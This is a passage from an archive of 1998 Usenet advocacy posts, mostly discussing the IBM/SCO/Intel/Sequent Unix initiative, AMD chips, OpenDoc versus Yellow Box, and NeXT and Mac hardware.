: SCO creating a more AIX like UnixWare. What this probably means
IBM is porting AIX to IA-64.
http://www.techweb.com/wire/story/TWB19980824S0003
: is that they will license and bring over AIX features and interfaces
: for things like the Logical Volume Manager, Clustering interfaces,
: and other technologies that AIX has to UnixWare. What it sounds
: like is that IBM doesn't want to be responsible for the
: development of a UNIX on x86 and IA-64, so they'll let an independent
: party do it. At the same time they want to make sure it is
: as similar to AIX as possible so that they don't have to strain
: to hard to support it. In the end, AIX will be the PowerPC UNIX, and
: UnixWare will be the x86/IA-64 Unix that IBM uses, and hopefully they'll
: be pretty identical as far as management and programming interfaces goes.
: It saves them from having to support and encourage development for AIX on
: two different platforms all by themselves.
: Besides OS/400 isn't being ported. It seems to be experiencing signficant
: growth. For that reason alone PowerPC's for computing applications
: will never disappear. OS/400 needs specific processor features that
: are only available in certain IBM PowerPC processors to function,
: and which are unlikely to appear in processors from any other
: company.
: And maybe if Apple gets Mac OS X out sometime within the next decade, IBM
: will make a deal to bring AIX features over to it.
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 26 Oct 1998 23:44:43 GMT
Organization: University of Illinois at Chicago
Message-ID: <7131hb$kf6$1@piglet.cc.uic.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu> <70m1n8$u8h$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: I wrote:
: : Maybe, or maybe some of them are working on the K7. I don't know if
: : AMD can afford to have multiple large teams working on three generations
: : of CPUs at the same time.
: That was my point, K6-2 and K6-3 aren't a "new generation" design.
: Also, IIRC, AMD's two design teams are located quite far apart as well.
: Texas and California? (for some reason that thought is in the back of my
: head. I cannot recall a reference to this.)
: --
: davewang@kagututi.kecl.ntt.co.jp.meaningless
: All statements are personal opinions
: Not speaking for NTT or University of Maryland
: Nara, Japan.
Apparently AMD is working on a K8, and a DEC guy is heading the team,
according to a editorial in the recent Microprocessor Report regarding
the Digital brain drain at Compaq and Intel.
Anil
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: This is the OS the world will move to?
Date: Mon, 26 Oct 1998 10:02:38 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2610981002380001@pelli.pathology.pitt.edu>
References: <alex-2410980029060001@cs48-25.austin.rr.com> <70tv1o$2mi$1@news.idiom.com>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
John now I am glad to see you nothold back. ;-)
peter
In article <70tv1o$2mi$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> Alex Kac may or may not have said:
> -> http://cnn.com/TECH/computing/9810/23/prepare.idg/
> ->
> -> Talks about the move to Windows NT.
>
> I went and looked at it.
>
> This bit was really cute:
>
> -> ...That's because NT, once the ugly stepchild of Microsoft operating
> -> systems, has blossomed into a valuable tool for business-oriented
> -> computing.
>
> Bullshit. It's the thing you use when your pointy-haired boss makes you do
> it for stupid political reasons.
>
> ->Armed with the same interface as Windows 9x,
>
> It boggles me that anyone considers this a good thing.
>
> -> rock-solid reliability,
>
> BULLSHIT!
>
> -> and effective security features,
>
> More bullshit.
>
> -> NT 4.0 has found a home on more than 15 million computers--
>
> And this is completely irrelevant to the question of whether one wants to put
> up with NT's dismal excuses.
>
> If 15 million lusers were jumping off a cliff, would *you* do it, too?
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
Message-ID: <363521CB.4BF2B9C7@nstar.net>
Date: Mon, 26 Oct 1998 19:28:43 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Anil T Maliyekke wrote:
[cut]
> What this probably means
> is that they will license and bring over AIX features and interfaces
> for things like the Logical Volume Manager, Clustering interfaces,
> and other technologies that AIX has to UnixWare.
If I'm not mistaken, the AIX LVM is a licensed product of VERITAS
Software Corp., like the LVMs of many other vendor Unices.
[cut]
> And maybe if Apple gets Mac OS X out sometime within the next decade, IBM
> will make a deal to bring AIX features over to it.
Maybe; it might not matter. I think the point is that IBM is spurring
yet another unification initiative, as the dailies have reported, and
that it will be important in many ways for Apple to get behind it.
MJP
From: ob1to@aol.com (OB1TO)
Newsgroups: comp.sys.next.advocacy
Subject: BECOME A ROCK OF INSPIRATION
Date: 27 Oct 1998 03:36:43 GMT
Organization: AOL http://www.aol.com
Message-ID: <19981026223643.06448.00001901@ng120.aol.com>
Visit the Rock of Inspiration web site at http://www.rockofinspiration.org/
Learn the answers why Catholics do what they do and how you too can become a
member of this growing nonprofit organization.
God Bless
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1FyGB.r9@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: jhendry@shrike.depaul.edu
Organization: My ISP puts something here if I don't.
References: <F1ADL0.GKG@T-FCN.Net> <B256154D-35BC7@206.165.43.86>
<3630f1ad.0@news.depaul.edu>
Mime-Version: 1.0
Date: Mon, 26 Oct 1998 15:45:47 GMT
In <3630f1ad.0@news.depaul.edu> Jonathan W Hendry wrote:
> That's not the point. The point is that the OS needed saving, not
> OpenDoc.
Exactly.
> (Which also wasn't a very good way to encourage small
> developers to write software for the Mac. Small developers can
> write big software, and don't need to be limited to little
> things.)
Only with the proper tools. OD was not the proper tool IMHO. Or it was
_a_ tool for the wrong problem at least. Do you know how it got started?
It's one of those classic old-Apple stories. It started in 1991 as a file
format, the result of a round table in which developers asked Apple for a
standardized rick-content document format. The original system was similar
to IFF and documented on the WWDC disks.
Next year it was "Bento". Then it went away. Then it got sucked up into
OD. So the developers asked for a file format in 1991, and were delivered
OD instead in 1996. This is a perfect illustration of the problem.
> No, he saw it as a big, expensive, little-used, little-supported,
> and largely unwanted hunk of code which provided features that
> really aren't very important.
And Lawson will undoubtedly reply that YB is the same. Yet he'll be
wrong on one point - the last one in your sentance. OD did basically all
the things that the MacOS did in a different way. It didn't transend the
MacOS, and it certainly didn't transend the market. YB transends the
market.
Consider the new author who wants to write a text editor. He could use
OD and get basically what TextEdit gets - 32k of text with basic styling
features. He could use YB and get complete Unicode support, PostScript
fonts, embedded pictures in any format (courtesy of filtering), automatic
typographical effects, spell checking, search and replace (for a few extra
lines anyway), rulers, paragraph styling, smart cut and paste, automatic
flowing (and "holes" for some extra code) and style cut and paste. The
former locks you into OD and makes your product interact with OD only (for
the most part) and is not even likely to be on most Macs, the later is
based on industry standard data formats and typically uses HTML or RTF as
its storage format, guarenteed to be available on almost every platform.
The former has no real x-platform tools, the later requires checking off a
box in the build screen to produce versions for about 6 platforms. The
former will require working with beta-quality tools and what is basically a
1980's development system, the later will be completed in a few days at the
outside.
Now, which solution would any sane programmer choose for this task? So
why did the old-Apple give us the wrong one?
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1Fzo9.1Fr@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: mpaque@ncal.verio.com
Organization: My ISP puts something here if I don't.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net>
<3632BA95.4BF99CB6@nstar.net> <70ut16$8ju$2@news.idiom.com>
<36337725.267FE082@ncal.verio.com>
Mime-Version: 1.0
Date: Mon, 26 Oct 1998 16:12:08 GMT
In <36337725.267FE082@ncal.verio.com> Mike Paquette wrote:
> The techniques used to support 8 bit framebuffers on HP, Sun, and Intel
> NEXTSTEP boxes were developed at NeXT, with the exception of the HP
> Gecko.
I've never heard of this, what was the Gecko?
Maury
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Tue, 27 Oct 1998 10:08:53 +1000
Organization: OzEmail Ltd.
Message-ID: <712v7u$fb0$1@reader1.reader.news.ozemail.net>
References: <F12zAJ.2uz@T-FCN.Net> <B250BB4A-22543@206.165.43.49> <70g0tj$mdh$3@news.xmission.com>
>"Lawson English" <english@primenet.com> wrote:
>> Where's the purported $20/unit licensing fee coming from if not for DPS?
Don Yacktman wrote in message <70g0tj$mdh$3@news.xmission.com>...
>LZW compression in the TIFF routines and the Pantone CMS, for starters.
>(I wouldn't be surprised if DPS were at least 50% of that fee, however, which
>is still a bit greedy on Adobe's part IMHO.)
I remember Apple's original comment "to make it as cheap as they can, given
the license fees" - but there was a later comment which was along the lines
of "as cheap as we can, to cover our costs (licensing, cd print runs, mailing etc).
Assuming part of the $20 goes to Apple costs - a distribution with magazine
CDs would further reduce the fee...
Just wondering
Greg
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 27 Oct 1998 05:32:50 GMT
Organization: University of Illinois at Chicago
Message-ID: <713lu2$23j8$1@piglet.cc.uic.edu>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <7134s3$kpg$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: IBM is porting AIX to IA-64.
: http://www.techweb.com/wire/story/TWB19980824S0003
That article is ancient history and implied a direct port. Today's
announcement seems a bit more convoluted, and it isn't clear what the
intended product will be called and who will "own" it. But after
rereading the press release it does seem that the new UNIX offering
will be available on x86, IA-64, and Power/PowerPC. It sounds
like there is going to be a bit code shuffling between SCO,
Sequent, and IBM. I really don't understand what the point of this
deal is, and it seems a bit too complex to pull off. SCO doesn't
exactly have a history of successful alliances and acquisitions.
Still there are some interesting things about it, such as Intel
actually investing funds for ISV development and Sequent leaving the
relationship with Digital/Compaq.
I still don't think this UNIX will be called AIX, at least not
on non PowerPC platforms.
Anil
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 27 Oct 1998 06:20:03 GMT
Organization: University of Maryland, College Park
Message-ID: <713omj$d4o$1@hecate.umd.edu>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <7134s3$kpg$1@hecate.umd.edu> <713lu2$23j8$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : IBM is porting AIX to IA-64.
: : http://www.techweb.com/wire/story/TWB19980824S0003
: That article is ancient history and implied a direct port. Today's
: announcement seems a bit more convoluted, and it isn't clear what the
: intended product will be called and who will "own" it. But after
: rereading the press release it does seem that the new UNIX offering
: will be available on x86, IA-64, and Power/PowerPC. It sounds
: like there is going to be a bit code shuffling between SCO,
: Sequent, and IBM. I really don't understand what the point of this
: deal is, and it seems a bit too complex to pull off. SCO doesn't
: exactly have a history of successful alliances and acquisitions.
: Still there are some interesting things about it, such as Intel
: actually investing funds for ISV development and Sequent leaving the
: relationship with Digital/Compaq.
: I still don't think this UNIX will be called AIX, at least not
: on non PowerPC platforms.
The article is about 2 months old, I wouldn't call it ancient history,
especially since you had sounded as if you weren't convinced that IBM
was going to port AIX to IA. (Although I personally don't believe that
IBM would port AIX over to IA-32, but certainly IA-64.) This announcement
is probably another interoperability announcement, and/or another attempt
at unifying unix, to now include 64 bit variants.
Inforworld has a slightly more detailed version at its web site.
: Anil
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 26 Oct 1998 16:43:09 GMT
Organization: the secret circle of the NSRC
Message-ID: <7128qt$fh8$1@leonie.object-factory.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net>
<3632BA95.4BF99CB6@nstar.net> <70ut16$8ju$2@news.idiom.com>
<36337725.267FE082@ncal.verio.com> <F1Fzo9.1Fr@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz wrote:
> In <36337725.267FE082@ncal.verio.com> Mike Paquette wrote:
> > The techniques used to support 8 bit framebuffers on HP, Sun, and Intel
> > NEXTSTEP boxes were developed at NeXT, with the exception of the HP
> > Gecko.
>
> I've never heard of this, what was the Gecko?
Gecko was the pet name for the HP 712 (HP's kinda cute attempt at building
a slab). It had a pretty nice custom color palette chip which could 'fake'
more colors than the framebuffer actually neded memory for.
Holger
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Tue, 27 Oct 1998 06:35:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <713pjj$ena$1@nnrp1.dejanews.com>
References: <F1ADL0.GKG@T-FCN.Net> <B256154D-35BC7@206.165.43.86> <3630f1ad.0@news.depaul.edu> <F1FyGB.r9@T-FCN.Net>
In article <F1FyGB.r9@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> And Lawson will undoubtedly reply that YB is the same. Yet he'll be
> wrong on one point - the last one in your sentance. OD did basically all
> the things that the MacOS did in a different way. It didn't transend the
> MacOS, and it certainly didn't transend the market. YB transends the
> market.
OpenDoc is a failed product so there is no real point in discussing what it
didn't do. It was cancelled before we could find out would it could do.
[Comparison of YB vs. OD snipped]
1) What six platforms are you talking about?
2) What is the licensing cost for those platforms?
3) Now I want to subclass NSTextView and make it so that some applications use
MyTextView and others use NSTextView. How do I do this?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 27 Oct 1998 05:54:41 GMT
Organization: University of Illinois at Chicago
Message-ID: <713n71$28uu$1@piglet.cc.uic.edu>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <363521CB.4BF2B9C7@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: [cut]
: > What this probably means
: > is that they will license and bring over AIX features and interfaces
: > for things like the Logical Volume Manager, Clustering interfaces,
: > and other technologies that AIX has to UnixWare.
: If I'm not mistaken, the AIX LVM is a licensed product of VERITAS
: Software Corp., like the LVMs of many other vendor Unices.
I believe IBM's LVM is their own product and was in AIX before the other
UNIX vendors started including Veritas's product in their offerings.
: [cut]
: > And maybe if Apple gets Mac OS X out sometime within the next decade, IBM
: > will make a deal to bring AIX features over to it.
: Maybe; it might not matter. I think the point is that IBM is spurring
: yet another unification initiative, as the dailies have reported, and
: that it will be important in many ways for Apple to get behind it.
: MJP
This isn't exactly a unification initiative. It doesn't seem like
it is about setting standards for all UNIXes to follow, just the
vendors involved. Since Apple's OS offerings are fundamentally going to
be very different from your standard UNIX, only some parts of this
intiative may have relevance. The important thing would be for
Apple to get access to code for more advanced features that are
useful.
Message-ID: <3634F83B.146@betabreakers.com>
Date: Mon, 26 Oct 1998 14:31:23 -0800
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy> <billa-2310981944080001@archbald-34.slip.uiuc.edu> <cdoutyF1G6wp.Jos@netcom.com>
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Try this somtime. Plug an IMac keymard & mouse into a PC. Works very
good.
Chris Douty wrote:
>
> In article <billa-2310981944080001@archbald-34.slip.uiuc.edu>,
> Bill Altenberger <billa@uiuc.edu> wrote:
> >In article <01bdfe2a$27f06770$06387880@chewy>, "Todd Heberlein (todd at
> >NetSQ dot com)" <todd@dev.null> wrote:
> >> The problem I had with [what I believed] was Amelio's vision is that
> >> small isn't OK for the computer business. You cannot attract new
> >> developers with small marketshare for your API. NeXT knew this when it
> >> chose to bring OpenStep APIs to Windows (although it blew it with the
> >> price), and Sun knew this when they brought Java out for Windows and
> >> other platforms.
> >>
> >> Sony still has high volume sales.
> >
> >How about USB? How long has Wintel been shipping motherboards with a
> >USB port? I finaly saw a USB device. Guess what it was attached to...
>
> USB is an Apple marketing "success," but not an Apple innovation. Many PC
> motherboards have shipped with USB ports (or at least the motherboard
> connectors) for over a year. My ASUS SP97 mainboard has USB connectors,
> and it was not the first shipping product. Win95 OSR2 has USB software
> support.
>
> What was lacking in the Wintel world was any compelling reason to use
> USB. They had two well defined keyboard and mouse connector styles
> (traditional or PS/2 for keyboards; serial or PS/2 for mice) plus a well
> defined joystick connector. Add in RS-232 serial, parallel, floppy port,
> EIDE, and sometimes SCSI and you can see why peripheral manufacturers
> were not racing to adopt USB. Apparently the USB device chipsets were
> big and expensive too, which may have changed recently.
>
> Apple went to USB for several reasons, not the least was to attempt to get
> more diversity in peripherals, especially joysticks. No one was desigining
> new ADB devices. With USB software support coming in Win98 (and already
> in Win95 OSR2) and widespread port availability in new computers peripheral
> device makers could sell USB devices to both Mac and PC markets.
> Everybody is happy.
>
> -Chris
> --
> Christopher Douty - Rogue Engineer trapped in a land of software
> cdouty@netcom.com
> "Frequently the messages have meaning; that is they refer to or are correlated
> according to some system with physical or conceptual entities. These semantic
> aspects of communication are irrelevant to the engineering problem." -Shannon
Message-ID: <3634F943.7CFE@betabreakers.com>
Date: Mon, 26 Oct 1998 14:35:47 -0800
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
References: <70ipmn$osd@newsb.netnews.att.com> <cybin9NOSPAM-2210982039060001@randolphmax1-107.megsinet.net> <70q27s$87o@newsb.netnews.att.com> <cybin9NOSPAM-2310981602090001@randolphmax3-91.megsinet.net> <macghod-2310982119440001@1cust81.tnt1.santa-barbara.ca.da.uu.net> <cybin9NOSPAM-2510981433050001@randolphmax3-53.megsinet.net>
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cybin wrote:
>
> >
> > From what Dave Wang has said, Every is preety wak'd out with what he says
> > about intel and spec.
>
> Well, sure, I agree that he can be quite obsessive, but he researches the
> sh*t out of what he writes about, and it's really hard to argue about cold
> hard facts like Intel's own announced future release dates versus their
> actual release dates, often months later than what they "promised". My
> point was simply that they rarely if ever deliver anything on time: they
> give continued false hope to the masses. Propaganda pure and simple,
> reinforced by barrages of cutsy commercials to saturate the market with
> brand recognition. If they spent as much time and money on R & D as they
> do on advertising they might meet more deadlines.
>
> ç
Are you talking about intel or apple? Seens to me just about every one
is guilty of this, even me (lord knows I've let some deadlines slip
cause I spent too much time on our web page design).
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 26 Oct 1998 22:55:11 GMT
Organization: University of Illinois at Chicago
Message-ID: <712ukf$1rqc$1@piglet.cc.uic.edu>
References: <712jo7$js0@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: The raw stuff can be found at :
: http://www.ibm.com/Servers/monterey/
: It looks like IBM AIX/SCO UnixWare consolidation, with
: IBM's AIX middleware being ported to SCO, and targetting
: Intel's IA-32, IA-64 and IBM's Power/PowerPC processors.
: Sequent will contribute cc:NUMA technology. This is being
: done with active support from Intel.
: The goal is to make this new operating system the leading
: UNIX for Intel platforms, and presumably the leading UNIX overall.
: All-in-all probably a good thing for UNIX; it adds life to AIX.
: What does it portend in the long run for IBM's Power/PowerPC machines
: is a good question. On the one hand, they may get more ISV
: support with this new OS; on the other hand they may fade away in
: the market, replaced by machines run by Intel's processors.
: IMO, the future of PowerPC as anything but an embedded processor
: depends very strongly on Apple's MacOS X.
: -arun gupta
Not exactly. The press releases are rather vague, but from what I
read it seems that IBM isn't porting AIX, but rather is helping
SCO creating a more AIX like UnixWare. What this probably means
is that they will license and bring over AIX features and interfaces
for things like the Logical Volume Manager, Clustering interfaces,
and other technologies that AIX has to UnixWare. What it sounds
like is that IBM doesn't want to be responsible for the
development of a UNIX on x86 and IA-64, so they'll let an independent
party do it. At the same time they want to make sure it is
as similar to AIX as possible so that they don't have to strain
to hard to support it. In the end, AIX will be the PowerPC UNIX, and
UnixWare will be the x86/IA-64 Unix that IBM uses, and hopefully they'll
be pretty identical as far as management and programming interfaces goes.
It saves them from having to support and encourage development for AIX on
two different platforms all by themselves.
Besides OS/400 isn't being ported. It seems to be experiencing signficant
growth. For that reason alone PowerPC's for computing applications
will never disappear. OS/400 needs specific processor features that
are only available in certain IBM PowerPC processors to function,
and which are unlikely to appear in processors from any other
company.
And maybe if Apple gets Mac OS X out sometime within the next decade, IBM
will make a deal to bring AIX features over to it.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: Tue, 27 Oct 1998 21:52:32 +1000
Organization: OzEmail Ltd.
Message-ID: <7148fa$tql$1@reader1.reader.news.ozemail.net>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <7134s3$kpg$1@hecate.umd.edu> <713lu2$23j8$1@piglet.cc.uic.edu>
Anil T Maliyekke wrote in message <713lu2$23j8$1@piglet.cc.uic.edu>...
>Today's announcement seems a bit more convoluted, and it isn't clear
>what the intended product will be called and who will "own" it. But after
>rereading the press release it does seem that the new UNIX offering
>will be available on x86, IA-64, and Power/PowerPC.
It is a bit vague (I only read the press release).
I read it as:
* IBM is adding AIX functions to SCO on IA32
* IBM & SCO are working together for a unix on IA64
* No changes to AIX on Power.
So develop for AIX and it runs on all 3.
>SCO doesn't exactly have a history of successful alliances and acquisitions.
But SCO does try to have a Unix that runs all kinds of Unix binaries.
(don't know how successful in the last few years. Anyone?)
> Still there are some interesting things about it, such as Intel
>actually investing funds for ISV development and Sequent leaving the
>relationship with Digital/Compaq.
Wasn't SCO working with HP/UX for a common IA64 Unix!?
>I still don't think this UNIX will be called AIX, at least not
>on non PowerPC platforms.
They'll probably rebrand something eh?
Given that Apple isn't pushing Unix compatibility in MOSX-S would
there be a point in compatibility? BSDs are already compatible with
many systems anyway.... It would be nice to get Domino ported
though...
Greg
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Tue, 27 Oct 1998 22:05:29 +1000
Organization: OzEmail Ltd.
Message-ID: <71497d$hlm$1@reader1.reader.news.ozemail.net>
References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156> <70m8mh$ehe$1@news.digifix.com>
Scott Anguish wrote in message <70m8mh$ehe$1@news.digifix.com>...
> Making Carbon cross-platform only removes the reason for
>current Mac users to buy Macs instead of Intel boxes.
I agree. That's an aspect of carbon that's very overlooked.
Carbon keeps 99% of existing developers with the Mac. Before, YB
strategy may have kept 50%, AND those 50% would run on Windows.
If all Mac applications run on Windows - then when you choose systems
it's no longer "3 times as many apps than the Mac" (or whatever) but
"every Mac app runs on Windows!"
> Doing this in a slow, over-time manner with YB gives Apple a
>chance to transfer their income to a software based stream instead of
>a hardware based one...
When YB was positioned as a switch from Mac, every Mac developer who
switched to YB adds to the number of windows developers. Now YB can be
positioned as a switch from Win32 OR a switch from Carbon. Every Windows
developer who uses YB is another Mac developer. So it affects both platforms
similarly. (not to mention if they can get Java developers on board).
So it restores confidence towards the Mac platform.
Just my 2c
Grge
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 26 Oct 1998 21:17:29 GMT
Organization: Primenet (602)416-7000
Message-ID: <712ot9$pji$1@nnrp02.primenet.com>
References: <712jo7$js0@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: The raw stuff can be found at :
: http://www.ibm.com/Servers/monterey/
: It looks like IBM AIX/SCO UnixWare consolidation, with
: IBM's AIX middleware being ported to SCO, and targetting
: Intel's IA-32, IA-64 and IBM's Power/PowerPC processors.
: Sequent will contribute cc:NUMA technology. This is being
: done with active support from Intel. [...]
I saw this earlier this morning, and have been wondering if it is a hedge
against Intel chips, a transition to Intel chips, or simply a market
expansion.
IBM's current formula is AIX on Power and Windows on x86. The Power
archictecture (Power is more than PowerPC) is faster than anything Intel
has. The big advantage of x86 is the economy of scale. The chips become
cheap because there are so many of them.
A quote from the press release is "IBM will make significant investments
to make this the leading UNIX operating system."
That sounds like more than a hedge ... but perhaps if they keep the UNIX
running on both processor families (IA-XX and Power), they can let the
game fall as it will.
John
From: ginz <ginz1@juno.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Oklahoma City: Need black hardware help
Date: Tue, 27 Oct 1998 06:59:23 -0600
Organization: EnterAct L.L.C. Turbo-Elite News Server
Message-ID: <3635C3AB.941AF36@juno.com>
References: <01be0144$bbbecc40$8a8a4a0c@stuff1>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Are you sure you have the "Y" cable connected correctly.
If you plug the wrong end into the monitor you wont get any picture
on the screen.
Just thought I'd ask.
ginz...
Robert Bullock wrote:
> I need use of a Mono NeXT cube/slab in Oklahoma City, OK.
>
> My new to me Nextcube has no display on its Megapixel monitor (that was
> made in 1988 geez!). It boots up and I hear a beep or two. Waiting and
> hitting the power off and return key shuts it off.
>
> I would like to try the monitor and or cube with known goos entities to
> determine the problem. The monitor appears to power up, the screen
> generates static when it's 'ON'.
>
> I suspect that the monitor was damaged during shipping as it was shipped on
> it's side.
>
> -Robert
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1Hs24.FqL@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <F1FyGB.r9@T-FCN.Net> <B25A0EFF-18020@206.165.43.172>
Mime-Version: 1.0
Date: Tue, 27 Oct 1998 15:22:51 GMT
In <B25A0EFF-18020@206.165.43.172> "Lawson English" wrote:
> That's interesting, because my understanding from David McCusker is that
> Bento was actually a Novelle project and not an Apple one.
Maybe, but that's not really the issue. For one I don't believe that's
correct, but more importantly Bento "replaced" this tagged format, then
alternately appeared and disappeared several times over the next few years
before finally appearing wrapped tightly to OD.
The problem is the same no matter what the history is, developers asked
for one thing, Apple delivered something else entirely. When I think of
the changes in usability and data exchange such a system could have had if
introduced in the same time frame as the PMac, I just shake my head.
Maury
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 27 Oct 1998 14:41:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <714m2a$n6v@newsb.netnews.att.com>
References: <712jo7$js0@newsb.netnews.att.com> <712ot9$pji$1@nnrp02.primenet.com>
Originator: gupta@tlctest
John Jensen <jjens@primenet.com> wrote:
>: http://www.ibm.com/Servers/monterey/
>
>I saw this earlier this morning, and have been wondering if it is a hedge
>against Intel chips, a transition to Intel chips, or simply a market
>expansion.
Exactly.
>IBM's current formula is AIX on Power and Windows on x86. The Power
>archictecture (Power is more than PowerPC) is faster than anything Intel
>has. The big advantage of x86 is the economy of scale. The chips become
>cheap because there are so many of them.
IBM's latest "Power" chip, Power3, is fully PowerPC.
Power3 begins at 200 MHz, Spec95 Int/FP of 13/30, and is expected
to scale to 500 MHz. Power3 is optimized for floating point performance,
